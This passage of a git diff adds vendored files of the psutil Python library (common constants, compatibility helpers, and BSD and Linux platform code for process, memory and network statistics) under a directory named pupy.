over IPv4 + tcp6 TCP over IPv6 + udp UDP + udp4 UDP over IPv4 + udp6 UDP over IPv6 + unix UNIX socket (both UDP and TCP protocols) + all the sum of all the possible families and protocols + + On OSX this function requires root privileges. + """ + return _psplatform.net_connections(kind) + + +def net_if_addrs(): + """Return the addresses associated to each NIC (network interface + card) installed on the system as a dictionary whose keys are the + NIC names and value is a list of namedtuples for each address + assigned to the NIC. Each namedtuple includes 5 fields: + + - family + - address + - netmask + - broadcast + - ptp + + 'family' can be either socket.AF_INET, socket.AF_INET6 or + psutil.AF_LINK, which refers to a MAC address. + 'address' is the primary address and it is always set. + 'netmask' and 'broadcast' and 'ptp' may be None. + 'ptp' stands for "point to point" and references the destination + address on a point to point interface (tipically a VPN). + 'broadcast' and 'ptp' are mutually exclusive. + + Note: you can have more than one address of the same family + associated with each interface. + """ + has_enums = sys.version_info >= (3, 4) + if has_enums: + import socket + rawlist = _psplatform.net_if_addrs() + rawlist.sort(key=lambda x: x[1]) # sort by family + ret = collections.defaultdict(list) + for name, fam, addr, mask, broadcast, ptp in rawlist: + if has_enums: + try: + fam = socket.AddressFamily(fam) + except ValueError: + if os.name == 'nt' and fam == -1: + fam = _psplatform.AF_LINK + elif (hasattr(_psplatform, "AF_LINK") and + _psplatform.AF_LINK == fam): + # Linux defines AF_LINK as an alias for AF_PACKET. + # We re-set the family here so that repr(family) + # will show AF_LINK rather than AF_PACKET + fam = _psplatform.AF_LINK + ret[name].append(_common.snic(fam, addr, mask, broadcast, ptp)) + return dict(ret) + + +def net_if_stats(): + """Return information about each NIC (network interface card) + installed on the system as a dictionary whose keys are the + NIC names and value is a namedtuple with the following fields: + + - isup: whether the interface is up (bool) + - duplex: can be either NIC_DUPLEX_FULL, NIC_DUPLEX_HALF or + NIC_DUPLEX_UNKNOWN + - speed: the NIC speed expressed in mega bits (MB); if it can't + be determined (e.g. 'localhost') it will be set to 0. + - mtu: the maximum transmission unit expressed in bytes. + """ + return _psplatform.net_if_stats() + + +# ===================================================================== +# --- other system related functions +# ===================================================================== + + +def boot_time(): + """Return the system boot time expressed in seconds since the epoch.""" + # Note: we are not caching this because it is subject to + # system clock updates. + return _psplatform.boot_time() + + +def users(): + """Return users currently connected on the system as a list of + namedtuples including the following fields. + + - user: the name of the user + - terminal: the tty or pseudo-tty associated with the user, if any. + - host: the host name associated with the entry, if any. + - started: the creation time as a floating point number expressed in + seconds since the epoch. + """ + return _psplatform.users() + + +def test(): # pragma: no cover + """List info of all currently running processes emulating ps aux + output. + """ + import datetime + + today_day = datetime.date.today() + templ = "%-10s %5s %4s %4s %7s %7s %-13s %5s %7s %s" + attrs = ['pid', 'cpu_percent', 'memory_percent', 'name', 'cpu_times', + 'create_time', 'memory_info'] + if _POSIX: + attrs.append('uids') + attrs.append('terminal') + print(templ % ("USER", "PID", "%CPU", "%MEM", "VSZ", "RSS", "TTY", + "START", "TIME", "COMMAND")) + for p in process_iter(): + try: + pinfo = p.as_dict(attrs, ad_value='') + except NoSuchProcess: + pass + else: + if pinfo['create_time']: + ctime = datetime.datetime.fromtimestamp(pinfo['create_time']) + if ctime.date() == today_day: + ctime = ctime.strftime("%H:%M") + else: + ctime = ctime.strftime("%b%d") + else: + ctime = '' + cputime = time.strftime("%M:%S", + time.localtime(sum(pinfo['cpu_times']))) + try: + user = p.username() + except Error: + user = '' + if _WINDOWS and '\\' in user: + user = user.split('\\')[1] + vms = pinfo['memory_info'] and \ + int(pinfo['memory_info'].vms / 1024) or '?' + rss = pinfo['memory_info'] and \ + int(pinfo['memory_info'].rss / 1024) or '?' + memp = pinfo['memory_percent'] and \ + round(pinfo['memory_percent'], 1) or '?' + print(templ % ( + user[:10], + pinfo['pid'], + pinfo['cpu_percent'], + memp, + vms, + rss, + pinfo.get('terminal', '') or '?', + ctime, + cputime, + pinfo['name'].strip() or '?')) + + +del memoize, division +if sys.version_info < (3, 0): + del num + +if __name__ == "__main__": + test() diff --git a/pupy/packages/windows/amd64/psutil/_common.py b/pupy/packages/windows/amd64/psutil/_common.py new file mode 100644 index 00000000..9f5c06f2 --- /dev/null +++ b/pupy/packages/windows/amd64/psutil/_common.py @@ -0,0 +1,246 @@ +# /usr/bin/env python + +# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved. +# Use of this source code is governed by a BSD-style license that can be +# found in the LICENSE file. + +"""Common objects shared by all _ps* modules.""" + +from __future__ import division +import errno +import functools +import os +import socket +import stat +import sys +from collections import namedtuple +from socket import AF_INET, SOCK_STREAM, SOCK_DGRAM +try: + import threading +except ImportError: + import dummy_threading as threading + +if sys.version_info >= (3, 4): + import enum +else: + enum = None + + +# --- constants + +AF_INET6 = getattr(socket, 'AF_INET6', None) +AF_UNIX = getattr(socket, 'AF_UNIX', None) + +STATUS_RUNNING = "running" +STATUS_SLEEPING = "sleeping" +STATUS_DISK_SLEEP = "disk-sleep" +STATUS_STOPPED = "stopped" +STATUS_TRACING_STOP = "tracing-stop" +STATUS_ZOMBIE = "zombie" +STATUS_DEAD = "dead" +STATUS_WAKE_KILL = "wake-kill" +STATUS_WAKING = "waking" +STATUS_IDLE = "idle" # BSD +STATUS_LOCKED = "locked" # BSD +STATUS_WAITING = "waiting" # BSD + +CONN_ESTABLISHED = "ESTABLISHED" +CONN_SYN_SENT = "SYN_SENT" +CONN_SYN_RECV = "SYN_RECV" +CONN_FIN_WAIT1 = "FIN_WAIT1" +CONN_FIN_WAIT2 = "FIN_WAIT2" +CONN_TIME_WAIT = "TIME_WAIT" +CONN_CLOSE = "CLOSE" +CONN_CLOSE_WAIT = "CLOSE_WAIT" +CONN_LAST_ACK = "LAST_ACK" +CONN_LISTEN = "LISTEN" +CONN_CLOSING = "CLOSING" +CONN_NONE = "NONE" + +if enum is None: + NIC_DUPLEX_FULL = 2 + NIC_DUPLEX_HALF = 1 + NIC_DUPLEX_UNKNOWN = 0 +else: + class NicDuplex(enum.IntEnum): + NIC_DUPLEX_FULL = 2 + NIC_DUPLEX_HALF = 1 + NIC_DUPLEX_UNKNOWN = 0 + + globals().update(NicDuplex.__members__) + + +# --- functions + +def usage_percent(used, total, _round=None): + """Calculate percentage usage of 'used' against 'total'.""" + try: + ret = (used / total) * 100 + except ZeroDivisionError: + ret = 0 + if _round is not None: + return round(ret, _round) + else: + return ret + + +def memoize(fun): + """A simple memoize decorator for functions supporting (hashable) + positional arguments. + It also provides a cache_clear() function for clearing the cache: + + >>> @memoize + ... def foo() + ... return 1 + ... + >>> foo() + 1 + >>> foo.cache_clear() + >>> + """ + @functools.wraps(fun) + def wrapper(*args, **kwargs): + key = (args, frozenset(sorted(kwargs.items()))) + lock.acquire() + try: + try: + return cache[key] + except KeyError: + ret = cache[key] = fun(*args, **kwargs) + finally: + lock.release() + return ret + + def cache_clear(): + """Clear cache.""" + lock.acquire() + try: + cache.clear() + finally: + lock.release() + + lock = threading.RLock() + cache = {} + wrapper.cache_clear = cache_clear + return wrapper + + +def isfile_strict(path): + """Same as os.path.isfile() but does not swallow EACCES / EPERM + exceptions, see: + http://mail.python.org/pipermail/python-dev/2012-June/120787.html + """ + try: + st = os.stat(path) + except OSError as err: + if err.errno in (errno.EPERM, errno.EACCES): + raise + return False + else: + return stat.S_ISREG(st.st_mode) + + +def sockfam_to_enum(num): + """Convert a numeric socket family value to an IntEnum member. + If it's not a known member, return the numeric value itself. + """ + if enum is None: + return num + try: + return socket.AddressFamily(num) + except (ValueError, AttributeError): + return num + + +def socktype_to_enum(num): + """Convert a numeric socket type value to an IntEnum member. + If it's not a known member, return the numeric value itself. + """ + if enum is None: + return num + try: + return socket.AddressType(num) + except (ValueError, AttributeError): + return num + + +# --- Process.connections() 'kind' parameter mapping + +conn_tmap = { + "all": ([AF_INET, AF_INET6, AF_UNIX], [SOCK_STREAM, SOCK_DGRAM]), + "tcp": ([AF_INET, AF_INET6], [SOCK_STREAM]), + "tcp4": ([AF_INET], [SOCK_STREAM]), + "udp": ([AF_INET, AF_INET6], [SOCK_DGRAM]), + "udp4": ([AF_INET], [SOCK_DGRAM]), + "inet": ([AF_INET, AF_INET6], [SOCK_STREAM, SOCK_DGRAM]), + "inet4": ([AF_INET], [SOCK_STREAM, SOCK_DGRAM]), + "inet6": ([AF_INET6], [SOCK_STREAM, SOCK_DGRAM]), +} + +if AF_INET6 is not None: + conn_tmap.update({ + "tcp6": ([AF_INET6], [SOCK_STREAM]), + "udp6": ([AF_INET6], [SOCK_DGRAM]), + }) + +if AF_UNIX is not None: + conn_tmap.update({ + "unix": ([AF_UNIX], [SOCK_STREAM, SOCK_DGRAM]), + }) + +del AF_INET, AF_INET6, AF_UNIX, SOCK_STREAM, SOCK_DGRAM + + +# --- namedtuples for psutil.* system-related functions + +# psutil.swap_memory() +sswap = namedtuple('sswap', ['total', 'used', 'free', 'percent', 'sin', + 'sout']) +# psutil.disk_usage() +sdiskusage = namedtuple('sdiskusage', ['total', 'used', 'free', 'percent']) +# psutil.disk_io_counters() +sdiskio = namedtuple('sdiskio', ['read_count', 'write_count', + 'read_bytes', 'write_bytes', + 'read_time', 'write_time']) +# psutil.disk_partitions() +sdiskpart = namedtuple('sdiskpart', ['device', 'mountpoint', 'fstype', 'opts']) +# psutil.net_io_counters() +snetio = namedtuple('snetio', ['bytes_sent', 'bytes_recv', + 'packets_sent', 'packets_recv', + 'errin', 'errout', + 'dropin', 'dropout']) +# psutil.users() +suser = namedtuple('suser', ['name', 'terminal', 'host', 'started']) +# psutil.net_connections() +sconn = namedtuple('sconn', ['fd', 'family', 'type', 'laddr', 'raddr', + 'status', 'pid']) +# psutil.net_if_addrs() +snic = namedtuple('snic', ['family', 'address', 'netmask', 'broadcast', 'ptp']) +# psutil.net_if_stats() +snicstats = namedtuple('snicstats', ['isup', 'duplex', 'speed', 'mtu']) + + +# --- namedtuples for psutil.Process methods + +# psutil.Process.memory_info() +pmem = namedtuple('pmem', ['rss', 'vms']) +# psutil.Process.cpu_times() +pcputimes = namedtuple('pcputimes', ['user', 'system']) +# psutil.Process.open_files() +popenfile = namedtuple('popenfile', ['path', 'fd']) +# psutil.Process.threads() +pthread = namedtuple('pthread', ['id', 'user_time', 'system_time']) +# psutil.Process.uids() +puids = namedtuple('puids', ['real', 'effective', 'saved']) +# psutil.Process.gids() +pgids = namedtuple('pgids', ['real', 'effective', 'saved']) +# psutil.Process.io_counters() +pio = namedtuple('pio', ['read_count', 'write_count', + 'read_bytes', 'write_bytes']) +# psutil.Process.ionice() +pionice = namedtuple('pionice', ['ioclass', 'value']) +# psutil.Process.ctx_switches() +pctxsw = namedtuple('pctxsw', ['voluntary', 'involuntary']) +# psutil.Process.connections() +pconn = namedtuple('pconn', ['fd', 'family', 'type', 'laddr', 'raddr', + 'status']) diff --git a/pupy/packages/windows/amd64/psutil/_compat.py b/pupy/packages/windows/amd64/psutil/_compat.py new file mode 100644 index 00000000..38744a84 --- /dev/null +++ b/pupy/packages/windows/amd64/psutil/_compat.py @@ -0,0 +1,189 @@ +#!/usr/bin/env python + +# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved. +# Use of this source code is governed by a BSD-style license that can be +# found in the LICENSE file. + +"""Module which provides compatibility with older Python versions.""" + +import collections +import functools +import sys + +__all__ = ["PY3", "long", "xrange", "unicode", "callable", "lru_cache"] + +PY3 = sys.version_info[0] == 3 + +if PY3: + long = int + xrange = range + unicode = str + + def u(s): + return s +else: + long = long + xrange = xrange + unicode = unicode + + def u(s): + return unicode(s, "unicode_escape") + + +# removed in 3.0, reintroduced in 3.2 +try: + callable = callable +except NameError: + def callable(obj): + return any("__call__" in klass.__dict__ for klass in type(obj).__mro__) + + +# --- stdlib additions + + +# py 3.2 functools.lru_cache +# Taken from: http://code.activestate.com/recipes/578078 +# Credit: Raymond Hettinger +try: + from functools import lru_cache +except ImportError: + try: + from threading import RLock + except ImportError: + from dummy_threading import RLock + + _CacheInfo = collections.namedtuple( + "CacheInfo", ["hits", "misses", "maxsize", "currsize"]) + + class _HashedSeq(list): + __slots__ = 'hashvalue' + + def __init__(self, tup, hash=hash): + self[:] = tup + self.hashvalue = hash(tup) + + def __hash__(self): + return self.hashvalue + + def _make_key(args, kwds, typed, + kwd_mark=(object(), ), + fasttypes=set((int, str, frozenset, type(None))), + sorted=sorted, tuple=tuple, type=type, len=len): + key = args + if kwds: + sorted_items = sorted(kwds.items()) + key += kwd_mark + for item in sorted_items: + key += item + if typed: + key += tuple(type(v) for v in args) + if kwds: + key += tuple(type(v) for k, v in sorted_items) + elif len(key) == 1 and type(key[0]) in fasttypes: + return key[0] + return _HashedSeq(key) + + def lru_cache(maxsize=100, typed=False): + """Least-recently-used cache decorator, see: + http://docs.python.org/3/library/functools.html#functools.lru_cache + """ + def decorating_function(user_function): + cache = dict() + stats = [0, 0] + HITS, MISSES = 0, 1 + make_key = _make_key + cache_get = cache.get + _len = len + lock = RLock() + root = [] + root[:] = [root, root, None, None] + nonlocal_root = [root] + PREV, NEXT, KEY, RESULT = 0, 1, 2, 3 + if maxsize == 0: + def wrapper(*args, **kwds): + result = user_function(*args, **kwds) + stats[MISSES] += 1 + return result + elif maxsize is None: + def wrapper(*args, **kwds): + key = make_key(args, kwds, typed) + result = cache_get(key, root) + if result is not root: + stats[HITS] += 1 + return result + result = user_function(*args, **kwds) + cache[key] = result + stats[MISSES] += 1 + return result + else: + def wrapper(*args, **kwds): + if kwds or typed: + key = make_key(args, kwds, typed) + else: + key = args + lock.acquire() + try: + link = cache_get(key) + if link is not None: + root, = nonlocal_root + link_prev, link_next, key, result = link + link_prev[NEXT] = link_next + link_next[PREV] = link_prev + last = root[PREV] + last[NEXT] = root[PREV] = link + link[PREV] = last + link[NEXT] = root + stats[HITS] += 1 + return result + finally: + lock.release() + result = user_function(*args, **kwds) + lock.acquire() + try: + root, = nonlocal_root + if key in cache: + pass + elif _len(cache) >= maxsize: + oldroot = root + oldroot[KEY] = key + oldroot[RESULT] = result + root = nonlocal_root[0] = oldroot[NEXT] + oldkey = root[KEY] + root[KEY] = root[RESULT] = None + del cache[oldkey] + cache[key] = oldroot + else: + last = root[PREV] + link = [last, root, key, result] + last[NEXT] = root[PREV] = cache[key] = link + stats[MISSES] += 1 + finally: + lock.release() + return result + + def cache_info(): + """Report cache statistics""" + lock.acquire() + try: + return _CacheInfo(stats[HITS], stats[MISSES], maxsize, + len(cache)) + finally: + lock.release() + + def cache_clear(): + """Clear the cache and cache statistics""" + lock.acquire() + try: + cache.clear() + root = nonlocal_root[0] + root[:] = [root, root, None, None] + stats[:] = [0, 0] + finally: + lock.release() + + wrapper.__wrapped__ = user_function + wrapper.cache_info = cache_info + wrapper.cache_clear = cache_clear + return functools.update_wrapper(wrapper, user_function) + + return decorating_function diff --git a/pupy/packages/windows/amd64/psutil/_psbsd.py b/pupy/packages/windows/amd64/psutil/_psbsd.py new file mode 100644 index 00000000..db54a02e --- /dev/null +++ b/pupy/packages/windows/amd64/psutil/_psbsd.py @@ -0,0 +1,455 @@ +#!/usr/bin/env python + +# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved. +# Use of this source code is governed by a BSD-style license that can be +# found in the LICENSE file. + +"""FreeBSD platform implementation.""" + +import errno +import functools +import os +import xml.etree.ElementTree as ET +from collections import namedtuple + +from . import _common +from . import _psposix +from . import _psutil_bsd as cext +from . import _psutil_posix as cext_posix +from ._common import conn_tmap, usage_percent, sockfam_to_enum +from ._common import socktype_to_enum + + +__extra__all__ = [] + +# --- constants + +PROC_STATUSES = { + cext.SSTOP: _common.STATUS_STOPPED, + cext.SSLEEP: _common.STATUS_SLEEPING, + cext.SRUN: _common.STATUS_RUNNING, + cext.SIDL: _common.STATUS_IDLE, + cext.SWAIT: _common.STATUS_WAITING, + cext.SLOCK: _common.STATUS_LOCKED, + cext.SZOMB: _common.STATUS_ZOMBIE, +} + +TCP_STATUSES = { + cext.TCPS_ESTABLISHED: _common.CONN_ESTABLISHED, + cext.TCPS_SYN_SENT: _common.CONN_SYN_SENT, + cext.TCPS_SYN_RECEIVED: _common.CONN_SYN_RECV, + cext.TCPS_FIN_WAIT_1: _common.CONN_FIN_WAIT1, + cext.TCPS_FIN_WAIT_2: _common.CONN_FIN_WAIT2, + cext.TCPS_TIME_WAIT: _common.CONN_TIME_WAIT, + cext.TCPS_CLOSED: _common.CONN_CLOSE, + cext.TCPS_CLOSE_WAIT: _common.CONN_CLOSE_WAIT, + cext.TCPS_LAST_ACK: _common.CONN_LAST_ACK, + cext.TCPS_LISTEN: _common.CONN_LISTEN, + cext.TCPS_CLOSING: _common.CONN_CLOSING, + cext.PSUTIL_CONN_NONE: _common.CONN_NONE, +} + +PAGESIZE = os.sysconf("SC_PAGE_SIZE") +AF_LINK = cext_posix.AF_LINK + +# extend base mem ntuple with BSD-specific memory metrics +svmem = namedtuple( + 'svmem', ['total', 'available', 'percent', 'used', 'free', + 'active', 'inactive', 'buffers', 'cached', 'shared', 'wired']) +scputimes = namedtuple( + 'scputimes', ['user', 'nice', 'system', 'idle', 'irq']) +pextmem = namedtuple('pextmem', ['rss', 'vms', 'text', 'data', 'stack']) +pmmap_grouped = namedtuple( + 'pmmap_grouped', 'path rss, private, ref_count, shadow_count') +pmmap_ext = namedtuple( + 'pmmap_ext', 'addr, perms path rss, private, ref_count, shadow_count') + +# set later from __init__.py +NoSuchProcess = None +ZombieProcess = None +AccessDenied = None +TimeoutExpired = None + + +def virtual_memory(): + """System virtual memory as a namedtuple.""" + mem = cext.virtual_mem() + total, free, active, inactive, wired, cached, buffers, shared = mem + avail = inactive + cached + free + used = active + wired + cached + percent = usage_percent((total - avail), total, _round=1) + return svmem(total, avail, percent, used, free, + active, inactive, buffers, cached, shared, wired) + + +def swap_memory(): + """System swap memory as (total, used, free, sin, sout) namedtuple.""" + total, used, free, sin, sout = [x * PAGESIZE for x in cext.swap_mem()] + percent = usage_percent(used, total, _round=1) + return _common.sswap(total, used, free, percent, sin, sout) + + +def cpu_times(): + """Return system per-CPU times as a namedtuple""" + user, nice, system, idle, irq = cext.cpu_times() + return scputimes(user, nice, system, idle, irq) + + +if hasattr(cext, "per_cpu_times"): + def per_cpu_times(): + """Return system CPU times as a namedtuple""" + ret = [] + for cpu_t in cext.per_cpu_times(): + user, nice, system, idle, irq = cpu_t + item = scputimes(user, nice, system, idle, irq) + ret.append(item) + return ret +else: + # XXX + # Ok, this is very dirty. + # On FreeBSD < 8 we cannot gather per-cpu information, see: + # https://github.com/giampaolo/psutil/issues/226 + # If num cpus > 1, on first call we return single cpu times to avoid a + # crash at psutil import time. + # Next calls will fail with NotImplementedError + def per_cpu_times(): + if cpu_count_logical() == 1: + return [cpu_times()] + if per_cpu_times.__called__: + raise NotImplementedError("supported only starting from FreeBSD 8") + per_cpu_times.__called__ = True + return [cpu_times()] + + per_cpu_times.__called__ = False + + +def cpu_count_logical(): + """Return the number of logical CPUs in the system.""" + return cext.cpu_count_logical() + + +def cpu_count_physical(): + """Return the number of physical CPUs in the system.""" + # From the C module we'll get an XML string similar to this: + # http://manpages.ubuntu.com/manpages/precise/man4/smp.4freebsd.html + # We may get None in case "sysctl kern.sched.topology_spec" + # is not supported on this BSD version, in which case we'll mimic + # os.cpu_count() and return None. + ret = None + s = cext.cpu_count_phys() + if s is not None: + # get rid of padding chars appended at the end of the string + index = s.rfind("") + if index != -1: + s = s[:index + 9] + root = ET.fromstring(s) + try: + ret = len(root.findall('group/children/group/cpu')) or None + finally: + # needed otherwise it will memleak + root.clear() + if not ret: + # If logical CPUs are 1 it's obvious we'll have only 1 + # physical CPU. + if cpu_count_logical() == 1: + return 1 + return ret + + +def boot_time(): + """The system boot time expressed in seconds since the epoch.""" + return cext.boot_time() + + +def disk_partitions(all=False): + retlist = [] + partitions = cext.disk_partitions() + for partition in partitions: + device, mountpoint, fstype, opts = partition + if device == 'none': + device = '' + if not all: + if not os.path.isabs(device) or not os.path.exists(device): + continue + ntuple = _common.sdiskpart(device, mountpoint, fstype, opts) + retlist.append(ntuple) + return retlist + + +def users(): + retlist = [] + rawlist = cext.users() + for item in rawlist: + user, tty, hostname, tstamp = item + if tty == '~': + continue # reboot or shutdown + nt = _common.suser(user, tty or None, hostname, tstamp) + retlist.append(nt) + return retlist + + +def net_connections(kind): + if kind not in _common.conn_tmap: + raise ValueError("invalid %r kind argument; choose between %s" + % (kind, ', '.join([repr(x) for x in conn_tmap]))) + families, types = conn_tmap[kind] + ret = set() + rawlist = cext.net_connections() + for item in rawlist: + fd, fam, type, laddr, raddr, status, pid = item + # TODO: apply filter at C level + if fam in families and type in types: + try: + status = TCP_STATUSES[status] + except KeyError: + # XXX: Not sure why this happens. I saw this occurring + # with IPv6 sockets opened by 'vim'. Those sockets + # have a very short lifetime so maybe the kernel + # can't initialize their status? + status = TCP_STATUSES[cext.PSUTIL_CONN_NONE] + fam = sockfam_to_enum(fam) + type = socktype_to_enum(type) + nt = _common.sconn(fd, fam, type, laddr, raddr, status, pid) + ret.add(nt) + return list(ret) + + +def net_if_stats(): + """Get NIC stats (isup, duplex, speed, mtu).""" + names = net_io_counters().keys() + ret = {} + for name in names: + isup, duplex, speed, mtu = cext_posix.net_if_stats(name) + if hasattr(_common, 'NicDuplex'): + duplex = _common.NicDuplex(duplex) + ret[name] = _common.snicstats(isup, duplex, speed, mtu) + return ret + + +pids = cext.pids +pid_exists = _psposix.pid_exists +disk_usage = _psposix.disk_usage +net_io_counters = cext.net_io_counters +disk_io_counters = cext.disk_io_counters +net_if_addrs = cext_posix.net_if_addrs + + +def wrap_exceptions(fun): + """Decorator which translates bare OSError exceptions into + NoSuchProcess and AccessDenied. + """ + @functools.wraps(fun) + def wrapper(self, *args, **kwargs): + try: + return fun(self, *args, **kwargs) + except OSError as err: + # support for private module import + if (NoSuchProcess is None or AccessDenied is None or + ZombieProcess is None): + raise + if err.errno == errno.ESRCH: + if not pid_exists(self.pid): + raise NoSuchProcess(self.pid, self._name) + else: + raise ZombieProcess(self.pid, self._name, self._ppid) + if err.errno in (errno.EPERM, errno.EACCES): + raise AccessDenied(self.pid, self._name) + raise + return wrapper + + +class Process(object): + """Wrapper class around underlying C implementation.""" + + __slots__ = ["pid", "_name", "_ppid"] + + def __init__(self, pid): + self.pid = pid + self._name = None + self._ppid = None + + @wrap_exceptions + def name(self): + return cext.proc_name(self.pid) + + @wrap_exceptions + def exe(self): + return cext.proc_exe(self.pid) + + @wrap_exceptions + def cmdline(self): + return cext.proc_cmdline(self.pid) + + @wrap_exceptions + def terminal(self): + tty_nr = cext.proc_tty_nr(self.pid) + tmap = _psposix._get_terminal_map() + try: + return tmap[tty_nr] + except KeyError: + return None + + @wrap_exceptions + def ppid(self): + return cext.proc_ppid(self.pid) + + @wrap_exceptions + def uids(self): + real, effective, saved = cext.proc_uids(self.pid) + return _common.puids(real, effective, saved) + + @wrap_exceptions + def gids(self): + real, effective, saved = cext.proc_gids(self.pid) + return _common.pgids(real, effective, saved) + + @wrap_exceptions + def cpu_times(self): + user, system = cext.proc_cpu_times(self.pid) + return _common.pcputimes(user, system) + + @wrap_exceptions + def memory_info(self): + rss, vms = cext.proc_memory_info(self.pid)[:2] + return _common.pmem(rss, vms) + + @wrap_exceptions + def memory_info_ex(self): + return pextmem(*cext.proc_memory_info(self.pid)) + + @wrap_exceptions + def create_time(self): + return cext.proc_create_time(self.pid) + + @wrap_exceptions + def num_threads(self): + return cext.proc_num_threads(self.pid) + + @wrap_exceptions + def num_ctx_switches(self): + return _common.pctxsw(*cext.proc_num_ctx_switches(self.pid)) + + @wrap_exceptions + def threads(self): + rawlist = cext.proc_threads(self.pid) + retlist = [] + for thread_id, utime, stime in rawlist: + ntuple = _common.pthread(thread_id, utime, stime) + retlist.append(ntuple) + return retlist + + @wrap_exceptions + def connections(self, kind='inet'): + if kind not in conn_tmap: + raise ValueError("invalid %r kind argument; choose between %s" + % (kind, ', '.join([repr(x) for x in conn_tmap]))) + families, types = conn_tmap[kind] + rawlist = cext.proc_connections(self.pid, families, types) + ret = [] + for item in rawlist: + fd, fam, type, laddr, raddr, status = item + fam = sockfam_to_enum(fam) + type = socktype_to_enum(type) + status = TCP_STATUSES[status] + nt = _common.pconn(fd, fam, type, laddr, raddr, status) + ret.append(nt) + return ret + + @wrap_exceptions + def wait(self, timeout=None): + try: + return _psposix.wait_pid(self.pid, timeout) + except _psposix.TimeoutExpired: + # support for private module import + if TimeoutExpired is None: + raise + raise TimeoutExpired(timeout, self.pid, self._name) + + @wrap_exceptions + def nice_get(self): + return cext_posix.getpriority(self.pid) + + @wrap_exceptions + def nice_set(self, value): + return cext_posix.setpriority(self.pid, value) + + @wrap_exceptions + def status(self): + code = cext.proc_status(self.pid) + if code in PROC_STATUSES: + return PROC_STATUSES[code] + # XXX is this legit? will we even ever get here? + return "?" + + @wrap_exceptions + def io_counters(self): + rc, wc, rb, wb = cext.proc_io_counters(self.pid) + return _common.pio(rc, wc, rb, wb) + + nt_mmap_grouped = namedtuple( + 'mmap', 'path rss, private, ref_count, shadow_count') + nt_mmap_ext = namedtuple( + 'mmap', 'addr, perms path rss, private, ref_count, shadow_count') + + # FreeBSD < 8 does not support functions based on kinfo_getfile() + # and kinfo_getvmmap() + if hasattr(cext, 'proc_open_files'): + + @wrap_exceptions + def open_files(self): + """Return files opened by process as a list of namedtuples.""" + rawlist = cext.proc_open_files(self.pid) + return [_common.popenfile(path, fd) for path, fd in rawlist] + + @wrap_exceptions + def cwd(self): + """Return process current working directory.""" + # sometimes we get an empty string, in which case we turn + # it into None + return cext.proc_cwd(self.pid) or None + + @wrap_exceptions + def memory_maps(self): + return cext.proc_memory_maps(self.pid) + + @wrap_exceptions + def num_fds(self): + """Return the number of file descriptors opened by this process.""" + return cext.proc_num_fds(self.pid) + + else: + def _not_implemented(self): + raise NotImplementedError("supported only starting from FreeBSD 8") + + open_files = _not_implemented + proc_cwd = _not_implemented + memory_maps = _not_implemented + num_fds = _not_implemented + + @wrap_exceptions + def cpu_affinity_get(self): + return cext.proc_cpu_affinity_get(self.pid) + + @wrap_exceptions + def cpu_affinity_set(self, cpus): + # Pre-emptively check if CPUs are valid because the C + # function has a weird behavior in case of invalid CPUs, + # see: https://github.com/giampaolo/psutil/issues/586 + allcpus = tuple(range(len(per_cpu_times()))) + for cpu in cpus: + if cpu not in allcpus: + raise ValueError("invalid CPU #%i (choose between %s)" + % (cpu, allcpus)) + try: + cext.proc_cpu_affinity_set(self.pid, cpus) + except OSError as err: + # 'man cpuset_setaffinity' about EDEADLK: + # <> + if err.errno in (errno.EINVAL, errno.EDEADLK): + for cpu in cpus: + if cpu not in allcpus: + raise ValueError("invalid CPU #%i (choose between %s)" + % (cpu, allcpus)) + raise diff --git a/pupy/packages/windows/amd64/psutil/_pslinux.py b/pupy/packages/windows/amd64/psutil/_pslinux.py new file mode 100644 index 00000000..8356cf95 --- /dev/null +++ b/pupy/packages/windows/amd64/psutil/_pslinux.py @@ -0,0 +1,1215 @@ +#!/usr/bin/env python + +# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved. +# Use of this source code is governed by a BSD-style license that can be +# found in the LICENSE file. + +"""Linux platform implementation.""" + +from __future__ import division + +import base64 +import errno +import functools +import os +import re +import socket +import struct +import sys +import warnings +from collections import namedtuple, defaultdict + +from . import _common +from . import _psposix +from . import _psutil_linux as cext +from . import _psutil_posix as cext_posix +from ._common import isfile_strict, usage_percent +from ._common import NIC_DUPLEX_FULL, NIC_DUPLEX_HALF, NIC_DUPLEX_UNKNOWN +from ._compat import PY3, long + +if sys.version_info >= (3, 4): + import enum +else: + enum = None + + +__extra__all__ = [ + # io prio constants + "IOPRIO_CLASS_NONE", "IOPRIO_CLASS_RT", "IOPRIO_CLASS_BE", + "IOPRIO_CLASS_IDLE", + # connection status constants + "CONN_ESTABLISHED", "CONN_SYN_SENT", "CONN_SYN_RECV", "CONN_FIN_WAIT1", + "CONN_FIN_WAIT2", "CONN_TIME_WAIT", "CONN_CLOSE", "CONN_CLOSE_WAIT", + "CONN_LAST_ACK", "CONN_LISTEN", "CONN_CLOSING", ] + +# --- constants + +HAS_PRLIMIT = hasattr(cext, "linux_prlimit") + +# RLIMIT_* constants, not guaranteed to be present on all kernels +if HAS_PRLIMIT: + for name in dir(cext): + if name.startswith('RLIM'): + __extra__all__.append(name) + +# Number of clock ticks per second +CLOCK_TICKS = os.sysconf("SC_CLK_TCK") +PAGESIZE = os.sysconf("SC_PAGE_SIZE") +BOOT_TIME = None # set later +if PY3: + FS_ENCODING = sys.getfilesystemencoding() +if enum is None: + AF_LINK = socket.AF_PACKET +else: + AddressFamily = enum.IntEnum('AddressFamily', + {'AF_LINK': socket.AF_PACKET}) + AF_LINK = AddressFamily.AF_LINK + +# ioprio_* constants http://linux.die.net/man/2/ioprio_get +if enum is None: + IOPRIO_CLASS_NONE = 0 + IOPRIO_CLASS_RT = 1 + IOPRIO_CLASS_BE = 2 + IOPRIO_CLASS_IDLE = 3 +else: + class IOPriority(enum.IntEnum): + IOPRIO_CLASS_NONE = 0 + IOPRIO_CLASS_RT = 1 + IOPRIO_CLASS_BE = 2 + IOPRIO_CLASS_IDLE = 3 + + globals().update(IOPriority.__members__) + +# taken from /fs/proc/array.c +PROC_STATUSES = { + "R": _common.STATUS_RUNNING, + "S": _common.STATUS_SLEEPING, + "D": _common.STATUS_DISK_SLEEP, + "T": _common.STATUS_STOPPED, + "t": _common.STATUS_TRACING_STOP, + "Z": _common.STATUS_ZOMBIE, + "X": _common.STATUS_DEAD, + "x": _common.STATUS_DEAD, + "K": _common.STATUS_WAKE_KILL, + "W": _common.STATUS_WAKING +} + +# http://students.mimuw.edu.pl/lxr/source/include/net/tcp_states.h +TCP_STATUSES = { + "01": _common.CONN_ESTABLISHED, + "02": 